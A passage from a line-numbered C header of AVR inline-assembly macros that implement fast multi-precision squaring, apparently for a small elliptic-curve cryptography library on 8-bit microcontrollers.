16056 "mul r21, r3 \n\t" \
16057 "add r23, r0 \n\t" \
16058 "adc r24, r1 \n\t" \
16059 "adc r22, r25 \n\t" \
16060 "lsl r23 \n\t" \
16061 "rol r24 \n\t" \
16062 "rol r22 \n\t" \
16063 "mul r2, r2 \n\t" \
16064 "add r23, r0 \n\t" \
16065 "adc r24, r1 \n\t" \
16066 "adc r22, r25 \n\t" \
16067 "add r23, r28 \n\t" \
16068 "adc r24, r29 \n\t" \
16069 "adc r22, r25 \n\t" \
16070 "st z+, r23 \n\t" \
16071 \
16072 "ldi r29, 0 \n\t" \
16073 "mul r20, r5 \n\t" \
16074 "mov r23, r0 \n\t" \
16075 "mov r28, r1 \n\t" \
16076 "mul r21, r4 \n\t" \
16077 "add r23, r0 \n\t" \
16078 "adc r28, r1 \n\t" \
16079 "adc r29, r25 \n\t" \
16080 "mul r2, r3 \n\t" \
16081 "add r23, r0 \n\t" \
16082 "adc r28, r1 \n\t" \
16083 "adc r29, r25 \n\t" \
16084 "lsl r23 \n\t" \
16085 "rol r28 \n\t" \
16086 "rol r29 \n\t" \
16087 "add r23, r24 \n\t" \
16088 "adc r28, r22 \n\t" \
16089 "adc r29, r25 \n\t" \
16090 "st z+, r23 \n\t" \
16091 \
16092 "ldi r22, 0 \n\t" \
16093 "mul r21, r5 \n\t" \
16094 "mov r23, r0 \n\t" \
16095 "mov r24, r1 \n\t" \
16096 "mul r2, r4 \n\t" \
16097 "add r23, r0 \n\t" \
16098 "adc r24, r1 \n\t" \
16099 "adc r22, r25 \n\t" \
16100 "lsl r23 \n\t" \
16101 "rol r24 \n\t" \
16102 "rol r22 \n\t" \
16103 "mul r3, r3 \n\t" \
16104 "add r23, r0 \n\t" \
16105 "adc r24, r1 \n\t" \
16106 "adc r22, r25 \n\t" \
16107 "add r23, r28 \n\t" \
16108 "adc r24, r29 \n\t" \
16109 "adc r22, r25 \n\t" \
16110 "st z+, r23 \n\t" \
16111 \
16112 "ldi r29, 0 \n\t" \
16113 "mul r2, r5 \n\t" \
16114 "mov r23, r0 \n\t" \
16115 "mov r28, r1 \n\t" \
16116 "mul r3, r4 \n\t" \
16117 "add r23, r0 \n\t" \
16118 "adc r28, r1 \n\t" \
16119 "adc r29, r25 \n\t" \
16120 "lsl r23 \n\t" \
16121 "rol r28 \n\t" \
16122 "rol r29 \n\t" \
16123 "add r23, r24 \n\t" \
16124 "adc r28, r22 \n\t" \
16125 "adc r29, r25 \n\t" \
16126 "st z+, r23 \n\t" \
16127 \
16128 "ldi r23, 0 \n\t" \
16129 "mul r3, r5 \n\t" \
16130 "add r28, r0 \n\t" \
16131 "adc r29, r1 \n\t" \
16132 "adc r23, r25 \n\t" \
16133 "add r28, r0 \n\t" \
16134 "adc r29, r1 \n\t" \
16135 "adc r23, r25 \n\t" \
16136 "mul r4, r4 \n\t" \
16137 "add r28, r0 \n\t" \
16138 "adc r29, r1 \n\t" \
16139 "adc r23, r25 \n\t" \
16140 "st z+, r28 \n\t" \
16141 \
16142 "ldi r28, 0 \n\t" \
16143 "mul r4, r5 \n\t" \
16144 "add r29, r0 \n\t" \
16145 "adc r23, r1 \n\t" \
16146 "adc r28, r25 \n\t" \
16147 "add r29, r0 \n\t" \
16148 "adc r23, r1 \n\t" \
16149 "adc r28, r25 \n\t" \
16150 "st z+, r29 \n\t" \
16151 \
16152 "mul r5, r5 \n\t" \
16153 "add r23, r0 \n\t" \
16154 "adc r28, r1 \n\t" \
16155 "st z+, r23 \n\t" \
16156 "st z+, r28 \n\t" \
16157 "eor r1, r1 \n\t"
16158
16159 #define FAST_SQUARE_ASM_7 \
16160 "ldi r25, 0 \n\t" \
16161 "movw r28, r26 \n\t" \
16162 "ld r2, x+ \n\t" \
16163 "ld r3, x+ \n\t" \
16164 "ld r4, x+ \n\t" \
16165 "ld r5, x+ \n\t" \
16166 "adiw r28, 20 \n\t" \
16167 "ld r12, y+ \n\t" \
16168 "ld r13, y+ \n\t" \
16169 "ld r14, y+ \n\t" \
16170 "ld r15, y+ \n\t" \
16171 "adiw r30, 20 \n\t" \
16172 \
16173 "ldi r23, 0 \n\t" \
16174 "mul 2, 12 \n\t" \
16175 "st z+, r0 \n\t" \
16176 "mov r22, r1 \n\t" \
16177 \
16178 "ldi r24, 0 \n\t" \
16179 "mul r2, r13 \n\t" \
16180 "add r22, r0 \n\t" \
16181 "adc r23, r1 \n\t" \
16182 "adc r24, r25 \n\t" \
16183 "st z+, r22 \n\t" \
16184 \
16185 "ldi r22, 0 \n\t" \
16186 "mul r2, r14 \n\t" \
16187 "add r23, r0 \n\t" \
16188 "adc r24, r1 \n\t" \
16189 "adc r22, r25 \n\t" \
16190 "mul r3, r13 \n\t" \
16191 "add r23, r0 \n\t" \
16192 "adc r24, r1 \n\t" \
16193 "adc r22, r25 \n\t" \
16194 "st z+, r23 \n\t" \
16195 \
16196 "ldi r23, 0 \n\t" \
16197 "mul r2, r15 \n\t" \
16198 "add r24, r0 \n\t" \
16199 "adc r22, r1 \n\t" \
16200 "adc r23, r25 \n\t" \
16201 "mul r3, r14 \n\t" \
16202 "add r24, r0 \n\t" \
16203 "adc r22, r1 \n\t" \
16204 "adc r23, r25 \n\t" \
16205 "st z+, r24 \n\t" \
16206 \
16207 "ld r12, y+ \n\t" \
16208 "ldi r24, 0 \n\t" \
16209 "mul r2, r12 \n\t" \
16210 "add r22, r0 \n\t" \
16211 "adc r23, r1 \n\t" \
16212 "adc r24, r25 \n\t" \
16213 "mul r3, r15 \n\t" \
16214 "add r22, r0 \n\t" \
16215 "adc r23, r1 \n\t" \
16216 "adc r24, r25 \n\t" \
16217 "mul r4, r14 \n\t" \
16218 "add r22, r0 \n\t" \
16219 "adc r23, r1 \n\t" \
16220 "adc r24, r25 \n\t" \
16221 "st z+, r22 \n\t" \
16222 \
16223 "ld r13, y+ \n\t" \
16224 "ldi r22, 0 \n\t" \
16225 "mul r2, r13 \n\t" \
16226 "add r23, r0 \n\t" \
16227 "adc r24, r1 \n\t" \
16228 "adc r22, r25 \n\t" \
16229 "mul r3, r12 \n\t" \
16230 "add r23, r0 \n\t" \
16231 "adc r24, r1 \n\t" \
16232 "adc r22, r25 \n\t" \
16233 "mul r4, r15 \n\t" \
16234 "add r23, r0 \n\t" \
16235 "adc r24, r1 \n\t" \
16236 "adc r22, r25 \n\t" \
16237 "st z+, r23 \n\t" \
16238 \
16239 "ld r14, y+ \n\t" \
16240 "ldi r23, 0 \n\t" \
16241 "mul r2, r14 \n\t" \
16242 "add r24, r0 \n\t" \
16243 "adc r22, r1 \n\t" \
16244 "adc r23, r25 \n\t" \
16245 "mul r3, r13 \n\t" \
16246 "add r24, r0 \n\t" \
16247 "adc r22, r1 \n\t" \
16248 "adc r23, r25 \n\t" \
16249 "mul r4, r12 \n\t" \
16250 "add r24, r0 \n\t" \
16251 "adc r22, r1 \n\t" \
16252 "adc r23, r25 \n\t" \
16253 "mul r5, r15 \n\t" \
16254 "add r24, r0 \n\t" \
16255 "adc r22, r1 \n\t" \
16256 "adc r23, r25 \n\t" \
16257 "st z+, r24 \n\t" \
16258 \
16259 "ld r15, y+ \n\t" \
16260 "ldi r24, 0 \n\t" \
16261 "mul r2, r15 \n\t" \
16262 "add r22, r0 \n\t" \
16263 "adc r23, r1 \n\t" \
16264 "adc r24, r25 \n\t" \
16265 "mul r3, r14 \n\t" \
16266 "add r22, r0 \n\t" \
16267 "adc r23, r1 \n\t" \
16268 "adc r24, r25 \n\t" \
16269 "mul r4, r13 \n\t" \
16270 "add r22, r0 \n\t" \
16271 "adc r23, r1 \n\t" \
16272 "adc r24, r25 \n\t" \
16273 "mul r5, r12 \n\t" \
16274 "add r22, r0 \n\t" \
16275 "adc r23, r1 \n\t" \
16276 "adc r24, r25 \n\t" \
16277 "st z+, r22 \n\t" \
16278 \
16279 "ld r2, x+ \n\t" \
16280 "ldi r22, 0 \n\t" \
16281 "mul r3, r15 \n\t" \
16282 "add r23, r0 \n\t" \
16283 "adc r24, r1 \n\t" \
16284 "adc r22, r25 \n\t" \
16285 "mul r4, r14 \n\t" \
16286 "add r23, r0 \n\t" \
16287 "adc r24, r1 \n\t" \
16288 "adc r22, r25 \n\t" \
16289 "mul r5, r13 \n\t" \
16290 "add r23, r0 \n\t" \
16291 "adc r24, r1 \n\t" \
16292 "adc r22, r25 \n\t" \
16293 "mul r2, r12 \n\t" \
16294 "add r23, r0 \n\t" \
16295 "adc r24, r1 \n\t" \
16296 "adc r22, r25 \n\t" \
16297 "st z+, r23 \n\t" \
16298 \
16299 "ld r3, x+ \n\t" \
16300 "ldi r23, 0 \n\t" \
16301 "mul r4, r15 \n\t" \
16302 "add r24, r0 \n\t" \
16303 "adc r22, r1 \n\t" \
16304 "adc r23, r25 \n\t" \
16305 "mul r5, r14 \n\t" \
16306 "add r24, r0 \n\t" \
16307 "adc r22, r1 \n\t" \
16308 "adc r23, r25 \n\t" \
16309 "mul r2, r13 \n\t" \
16310 "add r24, r0 \n\t" \
16311 "adc r22, r1 \n\t" \
16312 "adc r23, r25 \n\t" \
16313 "st z+, r24 \n\t" \
16314 \
16315 "ld r4, x+ \n\t" \
16316 "ldi r24, 0 \n\t" \
16317 "mul r5, r15 \n\t" \
16318 "add r22, r0 \n\t" \
16319 "adc r23, r1 \n\t" \
16320 "adc r24, r25 \n\t" \
16321 "mul r2, r14 \n\t" \
16322 "add r22, r0 \n\t" \
16323 "adc r23, r1 \n\t" \
16324 "adc r24, r25 \n\t" \
16325 "mul r3, r13 \n\t" \
16326 "add r22, r0 \n\t" \
16327 "adc r23, r1 \n\t" \
16328 "adc r24, r25 \n\t" \
16329 "st z+, r22 \n\t" \
16330 \
16331 "ld r5, x+ \n\t" \
16332 "ldi r22, 0 \n\t" \
16333 "mul r2, r15 \n\t" \
16334 "add r23, r0 \n\t" \
16335 "adc r24, r1 \n\t" \
16336 "adc r22, r25 \n\t" \
16337 "mul r3, r14 \n\t" \
16338 "add r23, r0 \n\t" \
16339 "adc r24, r1 \n\t" \
16340 "adc r22, r25 \n\t" \
16341 "st z+, r23 \n\t" \
16342 \
16343 "ldi r23, 0 \n\t" \
16344 "mul r3, r15 \n\t" \
16345 "add r24, r0 \n\t" \
16346 "adc r22, r1 \n\t" \
16347 "adc r23, r25 \n\t" \
16348 "mul r4, r14 \n\t" \
16349 "add r24, r0 \n\t" \
16350 "adc r22, r1 \n\t" \
16351 "adc r23, r25 \n\t" \
16352 "st z+, r24 \n\t" \
16353 \
16354 "ldi r24, 0 \n\t" \
16355 "mul r4, r15 \n\t" \
16356 "add r22, r0 \n\t" \
16357 "adc r23, r1 \n\t" \
16358 "adc r24, r25 \n\t" \
16359 "st z+, r22 \n\t" \
16360 \
16361 "mul r5, r15 \n\t" \
16362 "add r23, r0 \n\t" \
16363 "adc r24, r1 \n\t" \
16364 "st z+, r23 \n\t" \
16365 "st z+, r24 \n\t" \
16366 \
16367 "sbiw r26, 8 \n\t" \
16368 "sbiw r30, 36 \n\t" \
16369 "ld r2, x+ \n\t" \
16370 "ld r3, x+ \n\t" \
16371 "ld r4, x+ \n\t" \
16372 "ld r5, x+ \n\t" \
16373 "ld r6, x+ \n\t" \
16374 "ld r7, x+ \n\t" \
16375 "ld r8, x+ \n\t" \
16376 "ld r9, x+ \n\t" \
16377 "ld r10, x+ \n\t" \
16378 "ld r11, x+ \n\t" \
16379 "ld r12, x+ \n\t" \
16380 "ld r13, x+ \n\t" \
16381 "ld r14, x+ \n\t" \
16382 "ld r15, x+ \n\t" \
16383 "ld r16, x+ \n\t" \
16384 "ld r17, x+ \n\t" \
16385 "ld r18, x+ \n\t" \
16386 "ld r19, x+ \n\t" \
16387 "ld r20, x+ \n\t" \
16388 "ld r21, x+ \n\t" \
16389 \
16390 "ldi r23, 0 \n\t" \
16391 "mul r2, r2 \n\t" \
16392 "st z+, r0 \n\t" \
16393 "mov r22, r1 \n\t" \
16394 \
16395 "ldi r24, 0 \n\t" \
16396 "mul r2, r3 \n\t" \
16397 "add r22, r0 \n\t" \
16398 "adc r23, r1 \n\t" \
16399 "adc r24, r25 \n\t" \
16400 "add r22, r0 \n\t" \
16401 "adc r23, r1 \n\t" \
16402 "adc r24, r25 \n\t" \
16403 "st z+, r22 \n\t" \
16404 \
16405 "ldi r22, 0 \n\t" \
16406 "mul r2, r4 \n\t" \
16407 "add r23, r0 \n\t" \
16408 "adc r24, r1 \n\t" \
16409 "adc r22, r25 \n\t" \
16410 "add r23, r0 \n\t" \
16411 "adc r24, r1 \n\t" \
16412 "adc r22, r25 \n\t" \
16413 "mul r3, r3 \n\t" \
16414 "add r23, r0 \n\t" \
16415 "adc r24, r1 \n\t" \
16416 "adc r22, r25 \n\t" \
16417 "st z+, r23 \n\t" \
16418 \
16419 "ldi r29, 0 \n\t" \
16420 "mul r2, r5 \n\t" \
16421 "mov r23, r0 \n\t" \
16422 "mov r28, r1 \n\t" \
16423 "mul r3, r4 \n\t" \
16424 "add r23, r0 \n\t" \
16425 "adc r28, r1 \n\t" \
16426 "adc r29, r25 \n\t" \
16427 "lsl r23 \n\t" \
16428 "rol r28 \n\t" \
16429 "rol r29 \n\t" \
16430 "add r23, r24 \n\t" \
16431 "adc r28, r22 \n\t" \
16432 "adc r29, r25 \n\t" \
16433 "st z+, r23 \n\t" \
16434 \
16435 "ldi r22, 0 \n\t" \
16436 "mul r2, r6 \n\t" \
16437 "mov r23, r0 \n\t" \
16438 "mov r24, r1 \n\t" \
16439 "mul r3, r5 \n\t" \
16440 "add r23, r0 \n\t" \
16441 "adc r24, r1 \n\t" \
16442 "adc r22, r25 \n\t" \
16443 "lsl r23 \n\t" \
16444 "rol r24 \n\t" \
16445 "rol r22 \n\t" \
16446 "mul r4, r4 \n\t" \
16447 "add r23, r0 \n\t" \
16448 "adc r24, r1 \n\t" \
16449 "adc r22, r25 \n\t" \
16450 "add r23, r28 \n\t" \
16451 "adc r24, r29 \n\t" \
16452 "adc r22, r25 \n\t" \
16453 "st z+, r23 \n\t" \
16454 \
16455 "ldi r29, 0 \n\t" \
16456 "mul r2, r7 \n\t" \
16457 "mov r23, r0 \n\t" \
16458 "mov r28, r1 \n\t" \
16459 "mul r3, r6 \n\t" \
16460 "add r23, r0 \n\t" \
16461 "adc r28, r1 \n\t" \
16462 "adc r29, r25 \n\t" \
16463 "mul r4, r5 \n\t" \
16464 "add r23, r0 \n\t" \
16465 "adc r28, r1 \n\t" \
16466 "adc r29, r25 \n\t" \
16467 "lsl r23 \n\t" \
16468 "rol r28 \n\t" \
16469 "rol r29 \n\t" \
16470 "add r23, r24 \n\t" \
16471 "adc r28, r22 \n\t" \
16472 "adc r29, r25 \n\t" \
16473 "st z+, r23 \n\t" \
16474 \
16475 "ldi r22, 0 \n\t" \
16476 "mul r2, r8 \n\t" \
16477 "mov r23, r0 \n\t" \
16478 "mov r24, r1 \n\t" \
16479 "mul r3, r7 \n\t" \
16480 "add r23, r0 \n\t" \
16481 "adc r24, r1 \n\t" \
16482 "adc r22, r25 \n\t" \
16483 "mul r4, r6 \n\t" \
16484 "add r23, r0 \n\t" \
16485 "adc r24, r1 \n\t" \
16486 "adc r22, r25 \n\t" \
16487 "lsl r23 \n\t" \
16488 "rol r24 \n\t" \
16489 "rol r22 \n\t" \
16490 "mul r5, r5 \n\t" \
16491 "add r23, r0 \n\t" \
16492 "adc r24, r1 \n\t" \
16493 "adc r22, r25 \n\t" \
16494 "add r23, r28 \n\t" \
16495 "adc r24, r29 \n\t" \
16496 "adc r22, r25 \n\t" \
16497 "st z+, r23 \n\t" \
16498 \
16499 "ldi r29, 0 \n\t" \
16500 "mul r2, r9 \n\t" \
16501 "mov r23, r0 \n\t" \
16502 "mov r28, r1 \n\t" \
16503 "mul r3, r8 \n\t" \
16504 "add r23, r0 \n\t" \
16505 "adc r28, r1 \n\t" \
16506 "adc r29, r25 \n\t" \
16507 "mul r4, r7 \n\t" \
16508 "add r23, r0 \n\t" \
16509 "adc r28, r1 \n\t" \
16510 "adc r29, r25 \n\t" \
16511 "mul r5, r6 \n\t" \
16512 "add r23, r0 \n\t" \
16513 "adc r28, r1 \n\t" \
16514 "adc r29, r25 \n\t" \
16515 "lsl r23 \n\t" \
16516 "rol r28 \n\t" \
16517 "rol r29 \n\t" \
16518 "add r23, r24 \n\t" \
16519 "adc r28, r22 \n\t" \
16520 "adc r29, r25 \n\t" \
16521 "st z+, r23 \n\t" \
16522 \
16523 "ldi r22, 0 \n\t" \
16524 "mul r2, r10 \n\t" \
16525 "mov r23, r0 \n\t" \
16526 "mov r24, r1 \n\t" \
16527 "mul r3, r9 \n\t" \
16528 "add r23, r0 \n\t" \
16529 "adc r24, r1 \n\t" \
16530 "adc r22, r25 \n\t" \
16531 "mul r4, r8 \n\t" \
16532 "add r23, r0 \n\t" \
16533 "adc r24, r1 \n\t" \
16534 "adc r22, r25 \n\t" \
16535 "mul r5, r7 \n\t" \
16536 "add r23, r0 \n\t" \
16537 "adc r24, r1 \n\t" \
16538 "adc r22, r25 \n\t" \
16539 "lsl r23 \n\t" \
16540 "rol r24 \n\t" \
16541 "rol r22 \n\t" \
16542 "mul r6, r6 \n\t" \
16543 "add r23, r0 \n\t" \
16544 "adc r24, r1 \n\t" \
16545 "adc r22, r25 \n\t" \
16546 "add r23, r28 \n\t" \
16547 "adc r24, r29 \n\t" \
16548 "adc r22, r25 \n\t" \
16549 "st z+, r23 \n\t" \
16550 \
16551 "ldi r29, 0 \n\t" \
16552 "mul r2, r11 \n\t" \
16553 "mov r23, r0 \n\t" \
16554 "mov r28, r1 \n\t" \
16555 "mul r3, r10 \n\t" \
16556 "add r23, r0 \n\t" \
16557 "adc r28, r1 \n\t" \
16558 "adc r29, r25 \n\t" \
16559 "mul r4, r9 \n\t" \
16560 "add r23, r0 \n\t" \
16561 "adc r28, r1 \n\t" \
16562 "adc r29, r25 \n\t" \
16563 "mul r5, r8 \n\t" \
16564 "add r23, r0 \n\t" \
16565 "adc r28, r1 \n\t" \
16566 "adc r29, r25 \n\t" \
16567 "mul r6, r7 \n\t" \
16568 "add r23, r0 \n\t" \
16569 "adc r28, r1 \n\t" \
16570 "adc r29, r25 \n\t" \
16571 "lsl r23 \n\t" \
16572 "rol r28 \n\t" \
16573 "rol r29 \n\t" \
16574 "add r23, r24 \n\t" \
16575 "adc r28, r22 \n\t" \
16576 "adc r29, r25 \n\t" \
16577 "st z+, r23 \n\t" \
16578 \
16579 "ldi r22, 0 \n\t" \
16580 "mul r2, r12 \n\t" \
16581 "mov r23, r0 \n\t" \
16582 "mov r24, r1 \n\t" \
16583 "mul r3, r11 \n\t" \
16584 "add r23, r0 \n\t" \
16585 "adc r24, r1 \n\t" \
16586 "adc r22, r25 \n\t" \
16587 "mul r4, r10 \n\t" \
16588 "add r23, r0 \n\t" \
16589 "adc r24, r1 \n\t" \
16590 "adc r22, r25 \n\t" \
16591 "mul r5, r9 \n\t" \
16592 "add r23, r0 \n\t" \
16593 "adc r24, r1 \n\t" \
16594 "adc r22, r25 \n\t" \
16595 "mul r6, r8 \n\t" \
16596 "add r23, r0 \n\t" \
16597 "adc r24, r1 \n\t" \
16598 "adc r22, r25 \n\t" \
16599 "lsl r23 \n\t" \
16600 "rol r24 \n\t" \
16601 "rol r22 \n\t" \
16602 "mul r7, r7 \n\t" \
16603 "add r23, r0 \n\t" \
16604 "adc r24, r1 \n\t" \
16605 "adc r22, r25 \n\t" \
16606 "add r23, r28 \n\t" \
16607 "adc r24, r29 \n\t" \
16608 "adc r22, r25 \n\t" \
16609 "st z+, r23 \n\t" \
16610 \
16611 "ldi r29, 0 \n\t" \
16612 "mul r2, r13 \n\t" \
16613 "mov r23, r0 \n\t" \
16614 "mov r28, r1 \n\t" \
16615 "mul r3, r12 \n\t" \
16616 "add r23, r0 \n\t" \
16617 "adc r28, r1 \n\t" \
16618 "adc r29, r25 \n\t" \
16619 "mul r4, r11 \n\t" \
16620 "add r23, r0 \n\t" \
16621 "adc r28, r1 \n\t" \
16622 "adc r29, r25 \n\t" \
16623 "mul r5, r10 \n\t" \
16624 "add r23, r0 \n\t" \
16625 "adc r28, r1 \n\t" \
16626 "adc r29, r25 \n\t" \
16627 "mul r6, r9 \n\t" \
16628 "add r23, r0 \n\t" \
16629 "adc r28, r1 \n\t" \
16630 "adc r29, r25 \n\t" \
16631 "mul r7, r8 \n\t" \
16632 "add r23, r0 \n\t" \
16633 "adc r28, r1 \n\t" \
16634 "adc r29, r25 \n\t" \
16635 "lsl r23 \n\t" \
16636 "rol r28 \n\t" \
16637 "rol r29 \n\t" \
16638 "add r23, r24 \n\t" \
16639 "adc r28, r22 \n\t" \
16640 "adc r29, r25 \n\t" \
16641 "st z+, r23 \n\t" \
16642 \
16643 "ldi r22, 0 \n\t" \
16644 "mul r2, r14 \n\t" \
16645 "mov r23, r0 \n\t" \
16646 "mov r24, r1 \n\t" \
16647 "mul r3, r13 \n\t" \
16648 "add r23, r0 \n\t" \
16649 "adc r24, r1 \n\t" \
16650 "adc r22, r25 \n\t" \
16651 "mul r4, r12 \n\t" \
16652 "add r23, r0 \n\t" \
16653 "adc r24, r1 \n\t" \
16654 "adc r22, r25 \n\t" \
16655 "mul r5, r11 \n\t" \
16656 "add r23, r0 \n\t" \
16657 "adc r24, r1 \n\t" \
16658 "adc r22, r25 \n\t" \
16659 "mul r6, r10 \n\t" \
16660 "add r23, r0 \n\t" \
16661 "adc r24, r1 \n\t" \
16662 "adc r22, r25 \n\t" \
16663 "mul r7, r9 \n\t" \
16664 "add r23, r0 \n\t" \
16665 "adc r24, r1 \n\t" \
16666 "adc r22, r25 \n\t" \
16667 "lsl r23 \n\t" \
16668 "rol r24 \n\t" \
16669 "rol r22 \n\t" \
16670 "mul r8, r8 \n\t" \
16671 "add r23, r0 \n\t" \
16672 "adc r24, r1 \n\t" \
16673 "adc r22, r25 \n\t" \
16674 "add r23, r28 \n\t" \
16675 "adc r24, r29 \n\t" \
16676 "adc r22, r25 \n\t" \
16677 "st z+, r23 \n\t" \
16678 \
16679 "ldi r29, 0 \n\t" \
16680 "mul r2, r15 \n\t" \
16681 "mov r23, r0 \n\t" \
16682 "mov r28, r1 \n\t" \
16683 "mul r3, r14 \n\t" \
16684 "add r23, r0 \n\t" \
16685 "adc r28, r1 \n\t" \
16686 "adc r29, r25 \n\t" \
16687 "mul r4, r13 \n\t" \
16688 "add r23, r0 \n\t" \
16689 "adc r28, r1 \n\t" \
16690 "adc r29, r25 \n\t" \
16691 "mul r5, r12 \n\t" \
16692 "add r23, r0 \n\t" \
16693 "adc r28, r1 \n\t" \
16694 "adc r29, r25 \n\t" \
16695 "mul r6, r11 \n\t" \
16696 "add r23, r0 \n\t" \
16697 "adc r28, r1 \n\t" \
16698 "adc r29, r25 \n\t" \
16699 "mul r7, r10 \n\t" \
16700 "add r23, r0 \n\t" \
16701 "adc r28, r1 \n\t" \
16702 "adc r29, r25 \n\t" \
16703 "mul r8, r9 \n\t" \
16704 "add r23, r0 \n\t" \
16705 "adc r28, r1 \n\t" \
16706 "adc r29, r25 \n\t" \
16707 "lsl r23 \n\t" \
16708 "rol r28 \n\t" \
16709 "rol r29 \n\t" \
16710 "add r23, r24 \n\t" \
16711 "adc r28, r22 \n\t" \
16712 "adc r29, r25 \n\t" \
16713 "st z+, r23 \n\t" \
16714 \
16715 "ldi r22, 0 \n\t" \
16716 "mul r2, r16 \n\t" \
16717 "mov r23, r0 \n\t" \
16718 "mov r24, r1 \n\t" \
16719 "mul r3, r15 \n\t" \
16720 "add r23, r0 \n\t" \
16721 "adc r24, r1 \n\t" \
16722 "adc r22, r25 \n\t" \
16723 "mul r4, r14 \n\t" \
16724 "add r23, r0 \n\t" \
16725 "adc r24, r1 \n\t" \
16726 "adc r22, r25 \n\t" \
16727 "mul r5, r13 \n\t" \
16728 "add r23, r0 \n\t" \
16729 "adc r24, r1 \n\t" \
16730 "adc r22, r25 \n\t" \
16731 "mul r6, r12 \n\t" \
16732 "add r23, r0 \n\t" \
16733 "adc r24, r1 \n\t" \
16734 "adc r22, r25 \n\t" \
16735 "mul r7, r11 \n\t" \
16736 "add r23, r0 \n\t" \
16737 "adc r24, r1 \n\t" \
16738 "adc r22, r25 \n\t" \
16739 "mul r8, r10 \n\t" \
16740 "add r23, r0 \n\t" \
16741 "adc r24, r1 \n\t" \
16742 "adc r22, r25 \n\t" \
16743 "lsl r23 \n\t" \
16744 "rol r24 \n\t" \
16745 "rol r22 \n\t" \
16746 "mul r9, r9 \n\t" \
16747 "add r23, r0 \n\t" \
16748 "adc r24, r1 \n\t" \
16749 "adc r22, r25 \n\t" \
16750 "add r23, r28 \n\t" \
16751 "adc r24, r29 \n\t" \
16752 "adc r22, r25 \n\t" \
16753 "st z+, r23 \n\t" \
16754 \
16755 "ldi r29, 0 \n\t" \
16756 "mul r2, r17 \n\t" \
16757 "mov r23, r0 \n\t" \
16758 "mov r28, r1 \n\t" \
16759 "mul r3, r16 \n\t" \
16760 "add r23, r0 \n\t" \
16761 "adc r28, r1 \n\t" \
16762 "adc r29, r25 \n\t" \
16763 "mul r4, r15 \n\t" \
16764 "add r23, r0 \n\t" \
16765 "adc r28, r1 \n\t" \
16766 "adc r29, r25 \n\t" \
16767 "mul r5, r14 \n\t" \
16768 "add r23, r0 \n\t" \
16769 "adc r28, r1 \n\t" \
16770 "adc r29, r25 \n\t" \
16771 "mul r6, r13 \n\t" \
16772 "add r23, r0 \n\t" \
16773 "adc r28, r1 \n\t" \
16774 "adc r29, r25 \n\t" \
16775 "mul r7, r12 \n\t" \
16776 "add r23, r0 \n\t" \
16777 "adc r28, r1 \n\t" \
16778 "adc r29, r25 \n\t" \
16779 "mul r8, r11 \n\t" \
16780 "add r23, r0 \n\t" \
16781 "adc r28, r1 \n\t" \
16782 "adc r29, r25 \n\t" \
16783 "mul r9, r10 \n\t" \
16784 "add r23, r0 \n\t" \
16785 "adc r28, r1 \n\t" \
16786 "adc r29, r25 \n\t" \
16787 "lsl r23 \n\t" \
16788 "rol r28 \n\t" \
16789 "rol r29 \n\t" \
16790 "add r23, r24 \n\t" \
16791 "adc r28, r22 \n\t" \
16792 "adc r29, r25 \n\t" \
16793 "st z+, r23 \n\t" \
16794 \
16795 "ldi r22, 0 \n\t" \
16796 "mul r2, r18 \n\t" \
16797 "mov r23, r0 \n\t" \
16798 "mov r24, r1 \n\t" \
16799 "mul r3, r17 \n\t" \
16800 "add r23, r0 \n\t" \
16801 "adc r24, r1 \n\t" \
16802 "adc r22, r25 \n\t" \
16803 "mul r4, r16 \n\t" \
16804 "add r23, r0 \n\t" \
16805 "adc r24, r1 \n\t" \
16806 "adc r22, r25 \n\t" \
16807 "mul r5, r15 \n\t" \
16808 "add r23, r0 \n\t" \
16809 "adc r24, r1 \n\t" \
16810 "adc r22, r25 \n\t" \
16811 "mul r6, r14 \n\t" \
16812 "add r23, r0 \n\t" \
16813 "adc r24, r1 \n\t" \
16814 "adc r22, r25 \n\t" \
16815 "mul r7, r13 \n\t" \
16816 "add r23, r0 \n\t" \
16817 "adc r24, r1 \n\t" \
16818 "adc r22, r25 \n\t" \
16819 "mul r8, r12 \n\t" \
16820 "add r23, r0 \n\t" \
16821 "adc r24, r1 \n\t" \
16822 "adc r22, r25 \n\t" \
16823 "mul r9, r11 \n\t" \
16824 "add r23, r0 \n\t" \
16825 "adc r24, r1 \n\t" \
16826 "adc r22, r25 \n\t" \
16827 "lsl r23 \n\t" \
16828 "rol r24 \n\t" \
16829 "rol r22 \n\t" \
16830 "mul r10, r10 \n\t" \
16831 "add r23, r0 \n\t" \
16832 "adc r24, r1 \n\t" \
16833 "adc r22, r25 \n\t" \
16834 "add r23, r28 \n\t" \
16835 "adc r24, r29 \n\t" \
16836 "adc r22, r25 \n\t" \
16837 "st z+, r23 \n\t" \
16838 \
16839 "ldi r29, 0 \n\t" \
16840 "mul r2, r19 \n\t" \
16841 "mov r23, r0 \n\t" \
16842 "mov r28, r1 \n\t" \
16843 "mul r3, r18 \n\t" \
16844 "add r23, r0 \n\t" \
16845 "adc r28, r1 \n\t" \
16846 "adc r29, r25 \n\t" \
16847 "mul r4, r17 \n\t" \
16848 "add r23, r0 \n\t" \
16849 "adc r28, r1 \n\t" \
16850 "adc r29, r25 \n\t" \
16851 "mul r5, r16 \n\t" \
16852 "add r23, r0 \n\t" \
16853 "adc r28, r1 \n\t" \
16854 "adc r29, r25 \n\t" \
16855 "mul r6, r15 \n\t" \
16856 "add r23, r0 \n\t" \
16857 "adc r28, r1 \n\t" \
16858 "adc r29, r25 \n\t" \
16859 "mul r7, r14 \n\t" \
16860 "add r23, r0 \n\t" \
16861 "adc r28, r1 \n\t" \
16862 "adc r29, r25 \n\t" \
16863 "mul r8, r13 \n\t" \
16864 "add r23, r0 \n\t" \
16865 "adc r28, r1 \n\t" \
16866 "adc r29, r25 \n\t" \
16867 "mul r9, r12 \n\t" \
16868 "add r23, r0 \n\t" \
16869 "adc r28, r1 \n\t" \
16870 "adc r29, r25 \n\t" \
16871 "mul r10, r11 \n\t" \
16872 "add r23, r0 \n\t" \
16873 "adc r28, r1 \n\t" \
16874 "adc r29, r25 \n\t" \
16875 "lsl r23 \n\t" \
16876 "rol r28 \n\t" \
16877 "rol r29 \n\t" \
16878 "add r23, r24 \n\t" \
16879 "adc r28, r22 \n\t" \
16880 "adc r29, r25 \n\t" \
16881 "st z+, r23 \n\t" \
16882 \
16883 "ldi r22, 0 \n\t" \
16884 "mul r2, r20 \n\t" \
16885 "mov r23, r0 \n\t" \
16886 "mov r24, r1 \n\t" \
16887 "mul r3, r19 \n\t" \
16888 "add r23, r0 \n\t" \
16889 "adc r24, r1 \n\t" \
16890 "adc r22, r25 \n\t" \
